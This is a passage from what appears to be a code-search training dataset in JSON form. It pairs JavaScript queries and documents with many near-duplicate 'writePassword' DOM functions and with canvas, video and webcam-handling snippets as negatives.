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text;"},"document":{"kind":"string","value":"function getRandome (max) {\n return max[Math.floor(Math.random() * max.length )]; \n \n console.log(Math.random());\n }"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function WritePassword(passwordText) {\n document.getElementById(\"password\").textContent = passwordText;\n\n}","function writePassword() {\n document.querySelector(\"#password\").innerHTML = password;\n\n }","function userInput(password) {\n document.getElementById(\"password\").textContent = password;\n}","function UserInput(passwordText) {\n document.getElementById(\"password\").textContent = passwordText;\n}","function showPassword(displayPassword) {\n document.getElementById(\"password\").textContent = displayPassword;\n}","function writePassword(pass) {\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = pass;\n\n}","function writePassword() {\n generatePassword()\n var passwordText = document.querySelector(\"#password\");\n passwordText.textContent = password\n\n}","function writePassword(password) {\n\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function UserInput(pd) {\n document.getElementById(\"password\").textContent = pd;\n}","function UserInput(ps) {\n document.getElementById(\"password\").textContent = ps;\n\n}","function UserInput(ps) {\n document.getElementById(\"password\").textContent = ps;\n\n}","function writePassword() {\n\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function UserInput(ps) {\n document.getElementById(\"password\").textContent = ps;\n}","function UserInput(ps) {\n document.getElementById(\"password\").textContent = ps;\n}","function writePassword() {\n \n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");//id selector = html line 22 \n\n passwordText.value = password;\n\n \n}","function passwordWriter() {\n let passwordText = document.querySelector(\"#password\");\n passwordText.value = password; \n}","function writePassword() {\nvar password = generatePassword();\nvar passwordText = document.querySelector(\"#password\");\n\npasswordText.value = password;\n}","function UserInput(output) {\n document.getElementById(\"password\").passwordText = output;\n}","function UserInput(ps) {\n document.getElementById(\"password\").textContent = ps;\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n passwordText.innerHTML = password;\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n document.getElementById(\"password\").innerHTML = password;\n}","function writePassword(){\n\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\"); \n \n passwordText.value = password;\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = displayPassword;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n\n\n passwordText.value = password;\n \n\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password \n}","function writePassword() {\n var password = generatePasswordContent();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() { \n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() { \n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n\n }","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n \n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = newGeneratedPassword; \n\n}","function writePassword() {\n var password = generatePass();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePass();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n\n passwordText.value = password;\n\n}","function writePassword(password) {\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}","function writePassword() {\n var password = generatePassword(); \n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function inputPassword(e) {\n document.getElementById(\"password\").textContent = e;\n}","function writePassword() {\n\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\r\n var password = generatePassword();\r\n var passwordText = document.querySelector(\"#password\");\r\n\r\n passwordText.value = password;\r\n}","function writePassword() {\r\n var password = generatePassword();\r\n var passwordText = document.querySelector(\"#password\");\r\n\r\n passwordText.value = password;\r\n \r\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\npasswordText.value = password;\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password; \n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password\n}","function writePassword() {\n \n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n\n\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n //\n \n\n passwordText.value = password;\n \n}","function userInput(finalPassword) {\n document.getElementById(\"password\").textContent = finalPassword;\n}","function writePassword(generatedPassword) {\n console.log(\"Generated Password: \" + generatedPassword);\n var newPassword = document.querySelector(\"#password\");\n newPassword.innerText = generatedPassword;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n\n}","function writePassword() {\n var password = newPassword\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePW();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}","function writePassword() {\n var password = generatePassword()\n var passwordText = document.querySelector(\"#password\")\n \n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n \n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n \n}","function writePassword() {\n \n var password = generatePassword()\n //alert(password);\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function 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password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}"],"string":"[\n \"function WritePassword(passwordText) {\\n document.getElementById(\\\"password\\\").textContent = passwordText;\\n\\n}\",\n \"function writePassword() {\\n document.querySelector(\\\"#password\\\").innerHTML = password;\\n\\n }\",\n \"function userInput(password) {\\n document.getElementById(\\\"password\\\").textContent = password;\\n}\",\n \"function UserInput(passwordText) {\\n document.getElementById(\\\"password\\\").textContent = passwordText;\\n}\",\n \"function showPassword(displayPassword) {\\n document.getElementById(\\\"password\\\").textContent = displayPassword;\\n}\",\n \"function writePassword(pass) {\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = pass;\\n\\n}\",\n \"function writePassword() {\\n generatePassword()\\n var passwordText = document.querySelector(\\\"#password\\\");\\n passwordText.textContent = password\\n\\n}\",\n \"function writePassword(password) {\\n\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function UserInput(pd) {\\n document.getElementById(\\\"password\\\").textContent = pd;\\n}\",\n \"function UserInput(ps) {\\n document.getElementById(\\\"password\\\").textContent = ps;\\n\\n}\",\n \"function UserInput(ps) {\\n document.getElementById(\\\"password\\\").textContent = ps;\\n\\n}\",\n \"function writePassword() {\\n\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function UserInput(ps) {\\n document.getElementById(\\\"password\\\").textContent = ps;\\n}\",\n \"function UserInput(ps) {\\n document.getElementById(\\\"password\\\").textContent = ps;\\n}\",\n \"function writePassword() {\\n \\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");//id selector = html line 22 \\n\\n passwordText.value = password;\\n\\n \\n}\",\n \"function passwordWriter() {\\n let passwordText = document.querySelector(\\\"#password\\\");\\n passwordText.value = password; \\n}\",\n \"function writePassword() {\\nvar password = generatePassword();\\nvar passwordText = document.querySelector(\\\"#password\\\");\\n\\npasswordText.value = password;\\n}\",\n \"function UserInput(output) {\\n document.getElementById(\\\"password\\\").passwordText = output;\\n}\",\n \"function UserInput(ps) {\\n document.getElementById(\\\"password\\\").textContent = ps;\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n \\n passwordText.innerHTML = password;\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n passwordText.value = password;\\n document.getElementById(\\\"password\\\").innerHTML = password;\\n}\",\n \"function writePassword(){\\n\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\"); \\n \\n passwordText.value = password;\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = displayPassword;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n \\n\\n\\n passwordText.value = password;\\n \\n\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password \\n}\",\n \"function writePassword() {\\n var password = generatePasswordContent();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() { \\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() { \\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var passwordText = document.querySelector(\\\"#password\\\");\\n passwordText.value = password;\\n\\n }\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n \\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = newGeneratedPassword; \\n\\n}\",\n \"function writePassword() {\\n var password = generatePass();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePass();\\n var passwordText = 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document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\r\\n var password = generatePassword();\\r\\n var passwordText = document.querySelector(\\\"#password\\\");\\r\\n\\r\\n passwordText.value = password;\\r\\n}\",\n \"function writePassword() {\\r\\n var password = generatePassword();\\r\\n var passwordText = document.querySelector(\\\"#password\\\");\\r\\n\\r\\n passwordText.value = password;\\r\\n \\r\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\npasswordText.value = password;\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password; \\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n passwordText.value = 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passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n passwordText.value = password;\\n}\",\n \"function writePassword() {\\n var password = generatePassword()\\n var passwordText = document.querySelector(\\\"#password\\\")\\n \\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n \\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n \\n}\",\n \"function writePassword() {\\n \\n var password = generatePassword()\\n //alert(password);\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n \\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() \\n{\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n}\",\n \"function writePassword() {\\r\\n var password = generatePassword();\\r\\n var passwordText = document.querySelector(\\\"#password\\\");\\r\\n\\r\\n passwordText.value = password; \\r\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n \\n \\n \\n passwordText.value = password;\\n \\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = 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\"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = 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\"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = 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{\n\t\tcanvas.width = video_element.scrollWidth;\n\t\tcanvas.height = video_element.scrollHeight;\n\t\toutput_element.width = video_element.scrollWidth;\n\t\toutput_element.height = video_element.scrollHeight;\n\t\tconsole.log(\"Canvas size is \" + video_element.scrollWidth + \" x \" + video_element.scrollHeight);\n\t}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["_setupCanvas() {\n\t\tconst {video, elements} = this;\n\n\t\tconst virtualCanvas = elements.virtualCanvas = document.createElement('canvas');\n\n\t\tthis.context = elements.canvas.getContext('2d');\n\t\tthis.virtualContext = virtualCanvas.getContext('2d');\n\n\t\telements.canvas.width = virtualCanvas.width = video.videoWidth;\n\t\telements.canvas.height = virtualCanvas.height = video.videoHeight;\n\t}","canvasApp() {\n this.context = this.canvas.getContext(\"2d\");\n this.videoLoop();\n }","function makeCanvases() {\n w = _this.media.videoWidth;\n h = _this.media.videoHeight;\n \n // create a canvas to display the color-changed video, and a div to hold the canvas\n var candiv = document.createElement('div');\n candiv.style.position = 'absolute';\n _mediaHolder.appendChild(candiv);\n candiv.style.top = _media.offsetTop + 'px'; // so that the canvas will appear over the video\n candiv.style.left = _media.offsetLeft + 'px';\n _colorCanvas = document.createElement('canvas');\n _colorCanvas.style.display = 'none';\n _colorCanvas.width = w;\n _colorCanvas.height = h;\n candiv.appendChild(_colorCanvas);\n \n _colctx = _colorCanvas.getContext('2d');\n options.colorCanvas = _colorCanvas;\n \n // create a buffer canvas to hold each frame for processing\n // note that it just \"floats\" and is never appended to the document\n _bufferCanvas = document.createElement('canvas');\n _bufferCanvas.style.display = 'none';\n _bufferCanvas.width = w;\n _bufferCanvas.height = h;\n _bufctx = _bufferCanvas.getContext('2d');\n options.bufferCanvas = _bufferCanvas;\n console.log('The variable bufctx is ' + _bufctx);\n \n \n if (_coloring === \"color-no-change\"){\n return;\n }\n else if (_coloring === \"blackwhite\"){\n _media.addEventListener('play', function(){\n var framecounter = 0;\n console.log('Playing. The variable bufctx is ' + _bufctx);\n options.redrawID = makeBW(_media, _bufctx, _colctx, w, h, framecounter);\n });\n }\n else if (_coloring === \"sepia\"){\n _media.addEventListener('play', function(){\n var framecounter = 0;\n options.redrawID = makeSepia(_media, _bufctx, _colctx, w, h, framecounter);\n });\n }\n else if (_coloring === \"custom\"){\n _media.addEventListener('play', function(){\n var framecounter = 0;\n options.redrawID = adjustColor(_media, _bufctx, _colctx, w, h, framecounter, _redAdd, _greenAdd, _blueAdd);\n });\n }\n }","constructor() {\n super();\n /**\n * video source file or stream\n * @type {string}\n * @private\n */\n this._source = '';\n\n /**\n * use camera\n * @type {boolean}\n * @private\n */\n this._useCamera = false;\n\n /**\n * is component ready\n * @type {boolean}\n */\n this.isReady = false;\n\n /**\n * is video playing\n * @type {boolean}\n */\n this.isPlaying = false;\n\n /**\n * width of scaled video\n * @type {int}\n */\n this.videoScaledWidth = 0;\n\n /**\n * height of scaled video\n * @type {int}\n */\n this.videoScaledHeight = 0;\n\n /**\n * how the video is scaled\n * @type {string}\n * @default letterbox\n */\n this.videoScaleMode = 'contain';\n\n /**\n * what type of data comes back with frame data event\n * @type {string}\n * @default imagedataurl\n */\n this.frameDataMode = 'none';\n\n /**\n * determines whether to use the canvas element for display instead of the video element\n * @type {boolean}\n * @default false\n */\n this.useCanvasForDisplay = false;\n\n /**\n * canvas filter function (manipulate pixels)\n * @type {method}\n * @default 0 ms\n */\n this.canvasFilter = this.canvasFilter ? this.canvasFilter : null;\n\n /**\n * refresh interval when using the canvas for display\n * @type {int}\n * @default 0 ms\n */\n this.canvasRefreshInterval = 0;\n\n /**\n * video element\n * @type {HTMLElement}\n * @private\n */\n this.videoElement = null;\n\n /**\n * camera sources list\n * @type {Array}\n */\n this.cameraSources = [];\n\n /**\n * canvas element\n * @type {Canvas}\n * @private\n */\n this.canvasElement = null;\n\n /**\n * component shadow root\n * @type {ShadowRoot}\n * @private\n */\n this.root = null;\n\n /**\n * interval timer to draw frame redraws\n * @type {int}\n * @private\n */\n this.tick = null;\n\n /**\n * canvas context\n * @type {CanvasContext}\n * @private\n */\n this.canvasctx = null;\n\n /**\n * has the canvas context been overridden from the outside?\n * @type {boolean}\n * @private\n */\n this._canvasOverride = false;\n\n /**\n * width of component\n * @type {int}\n * @default 0\n */\n this.width = 0;\n\n /**\n * height of component\n * @type {int}\n * @default 0\n */\n this.height = 0;\n\n /**\n * left offset for letterbox of video\n * @type {int}\n * @default 0\n */\n this.letterBoxLeft = 0;\n\n /**\n * top offset for letterbox of video\n * @type {int}\n * @default 0\n */\n this.letterBoxTop = 0;\n\n /**\n * aspect ratio of video\n * @type {number}\n */\n this.aspectRatio = 0;\n\n /**\n * render scale for canvas frame data\n * best used when grabbing frame data at a different size than the shown video\n * @attribute canvasScale\n * @type {float}\n * @default 1.0\n */\n this.canvasScale = 1.0;\n\n /**\n * visible area bounding box\n * whether letterboxed or cropped, will report visible video area\n * does not include positioning in element, so if letterboxing, x and y will be reported as 0\n * @type {{x: number, y: number, width: number, height: number}}\n */\n this.visibleVideoRect = { x: 0, y: 0, width: 0, height: 0 };\n\n this.template = `\n \n\n \n `;\n }","async function populateVideo() {\n // We grab the feed off the user's webcam\n const stream = await navigator.mediaDevices.getUserMedia({\n video: { width: 1280, height: 720 },\n });\n\n // We set the object to be the stream\n video.srcObject = stream; // usually when dealing with video files we use video.src = 'videoName.mp4'\n await video.play();\n\n // size the canvases to be the same size as the video\n console.log(video.videoWidth, video.videoHeight);\n\n canvas.width = video.videoWidth;\n canvas.height = video.videoHeight;\n\n faceCanvas.width = video.videoWidth;\n faceCanvas.height = video.videoHeight;\n}","function paintToCanvas() {\n // you will find that the canvas height is bigger than the current window size even though its size is set to 640*480\n // because the width of the canvas is set to 100% which means it will take 100% of the space availabe of its parent container (photobooth)\n // Since the width of the photobooth is appx 1330px \n // the canvas will also take width of 1330px\n // since the width is 1330px the height will be 999px in order to maintain the aspect ratio (640*480)\n // the canvas is taking aspect ratio from our defined size (i.e 640 * 480)\n // therefore you can change the aspect ratio by changing the width and height of the canvas\n // if you remove the width 100% from its css , it will regain the size of 640*480\n\n // width and height = 640 * 480 \n // because the resolution we get from the video feed is by default 640*480 and is pre-defined by the system webcam\n // setting canvas width and height = 640*480\n const width = video.videoWidth;\n const height = video.videoHeight;\n [canvas.width, canvas.height] = [width, height];\n\n // the video playing in the canvas is not a actual video\n // but rather a image showing every few millisecond (giving us a video like visual)\n // So every 16ms the image captured from the video feed will be pasted/drawed on the canvas.\n // So we can say our video on canvas is showing 1 frame every 16 milliseconds\n return setInterval(() => {\n // ctx.drawImage will draw the image captured from the video feed\n // 0,0 are the x and y coordinate of the top left corner of the canvas\n // it will indicate that from which point the image drawing will start\n // width and height is of the destination contex(canvas)\n ctx.drawImage(video, 0, 0, width, height);\n\n // FROM HERE AFTERWARDS pixels MEANS VARIABLE\n\n // ctx.getImageData will give the data of the image(from the video playing on the canvas) \n // pixels will store the image data in form of array of rgb values for individual pixels\n let pixels = ctx.getImageData(0, 0, width, height);\n\n // Rendering different effects for the pixels\n // Every image captured from the video feed every 16ms will go through these function everytime\n // The pixels returned by these function will have different rgb values as compared to the original pixels\n\n // This is for red filter\n // pixels = redEffect(pixels);\n\n // This is for rgbSplit(tiktok) filter\n // pixels = rgbSplit(pixels);\n\n // This is for green screen\n pixels = greenScreen(pixels);\n\n // globalAlpha will determine how transparent will be the filters (0 - fully transparent, 1-opaque)\n // ctx.globalAlpha = 0.8\n\n // this will put the modified pixels back into the canvas\n // thus showing the filter on the video\n ctx.putImageData(pixels, 0, 0)\n }, 16);\n}","function drawCameraIntoCanvas() {\n // Draw the video element into the canvas\n ctx.drawImage(video, 0, 0, pageContent.offsetWidth, pageContent.offsetHeight);\n ctx.fillStyle = '#000000';\n ctx.fillRect(0, 0, pageContent.offsetWidth, pageContent.offsetHeight);\n ctx.lineWidth = 5;\n ctx.fillStyle = '#00FFFF';\n ctx.strokeStyle = '#00FFFF';\n\n // We can call both functions to draw all keypoints and the skeletons\n drawKeypoints();\n drawSkeleton();\n window.requestAnimationFrame(drawCameraIntoCanvas);\n}","function installcanvas () {\n\n // if there's an iframe\n var iframe = document.getElementById('tool_content');\n if (iframe) {\n \t\taddEventListener(\"message\", installfromiframe('#content', 'about:blank', ''), false);\n } \n \n // multiple videos as per\n // https://canvas.harvard.edu/courses/340/wiki/supplemental-materials-for-lab-1-reporter-gene-analysis-using-transgenic-animals?module_item_id=630 \n else {\n\n // video locations that may need a click to access \n var containers = [].slice.call(document.getElementsByClassName('instructure_file_link_holder'));\n containers = containers.concat([].slice.call(document.getElementsByClassName('instructure_inline_media_comment')));\n // known video locations\n var matches = document.body.innerHTML.match(/me_flash_\\d_container/g);\n\n // if any known videos exist, launch those\n if (matches) {\n\n // loop through all known videos\n for (var i = 0; i < matches.length; i++) {\n\n // pull out the video number\n matches[i] = matches[i].replace(/\\D/g, \"\");\n\n // parameters for the videoplayer\n var parameter = {};\n\n // only supporting mp4 at the moment\n parameter.audio = false;\n\n // set number for video classes \n parameter.number = matches[i];\n\n // get source for available video\n parameter.source = document.getElementById('mep_' + matches[i]).childNodes[0].childNodes[0].childNodes[1].src + '?1';\n if (parameter.source) {\n\n // get locally stored data \n var hist = JSON.parse(localStorage.getItem(parameter.source));\n if (hist) {\n parameter.time = hist.time;\n }\n\n // prepare new container\n var container = $('');\n\n // maximize player's width\n container.css('margin', '10px 0 0 0');\n container.css('padding', '0');\n container.css('width', '100%');\n parameter.playing = false;\n\n // find if the video is playing\n if ($('#mep_' + matches[i]).find('.mejs-pause')[0]){\n parameter.playing = true;\n }\n\n // replace old container with new\n $('#mep_' + matches[i]).replaceWith(container);\n\n // install player\n install(container, parameter);\n }\n }\n }\n\n // click on all possible video containers, watch if things change\n if (containers.length != 0) {\n\n // watch for changes for each container\n for(var i = 0; i < containers.length; i++) {\n\n // use mutation observer as per \n // https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver\n var observer = new MutationObserver(function (mutations) {\n mutations.forEach(function (mutation) {\n\n // see if changes are to the child of the container\n if (mutation.type === 'childList') {\n\n // look through each child\n Array.prototype.forEach.call(mutation.target.children, function (child) {\n\n // match (only once per video) -- same code as if (matches) branch\n matches = document.body.innerHTML.match(/me_flash_\\d_container/g);\n if (matches) {\n for (var i = 0; i < matches.length; i++) {\n matches[i] = matches[i].replace(/\\D/g, '');\n\n // parameters for the videoplayer\n var parameter = {};\n parameter.audio = false;\n\n // set number for video classes \n parameter.number = matches[i];\n\n // get source for available video\n parameter.source = document.getElementById('mep_' + matches[i]).childNodes[0].childNodes[0].childNodes[1].src + '?1';\n if (parameter.source) {\n\n // get locally stored data for time\n var hist = JSON.parse(localStorage.getItem(parameter.source));\n if (hist) {\n parameter.time = hist.time;\n }\n\n // prepare new container\n var container = $('');\n\n // maximize player's width\n container.css('margin', '10px 0 0 0');\n container.css('padding', '0');\n container.css('width', '100%');\n\n // replace old container with new\n $('#mep_' + matches[i]).replaceWith(container);\n\n parameter.playing = false;\n\n // install player\n install(container, parameter);\n }\n }\n }\n });\n }\n });\n });\n\n // actually start observing\n observer.observe(containers[i], {\n childList: true,\n characterData: true,\n subtree: true\n });\n }\n\n // simulate click, waits for link to appear\n $('.media_comment_thumbnail').click(); \n } \n\n // no possible video containers, apologize\n else {\n apologize();\n }\n }\n}","function init() {\n\t\tconsole.log('init');\n\t\t// Put event listeners into place\n\t\t// Notice that in this specific case handlers are loaded on the onload event\n\t\twindow.addEventListener(\n\t\t\t'DOMContentLoaded',\n\t\t\tfunction() {\n\t\t\t\t// Grab elements, create settings, etc.\n\t\t\t\tvar canvas = document.getElementById('canvas');\n\t\t\t\tvar context = canvas.getContext('2d');\n\t\t\t\t// context.transform(3,0,0,1,canvas.width,canvas.heigth);\n\t\t\t\tvar video = document.getElementById('video');\n\t\t\t\tvar mediaConfig = {\n\t\t\t\t\tvideo: true\n\t\t\t\t};\n\t\t\t\tvar errBack = function(e) {\n\t\t\t\t\tconsole.log('An error has occurred!', e);\n\t\t\t\t};\n\n\t\t\t\tlet aspectRatio = 2;\n\n\t\t\t\t// Put video listeners into 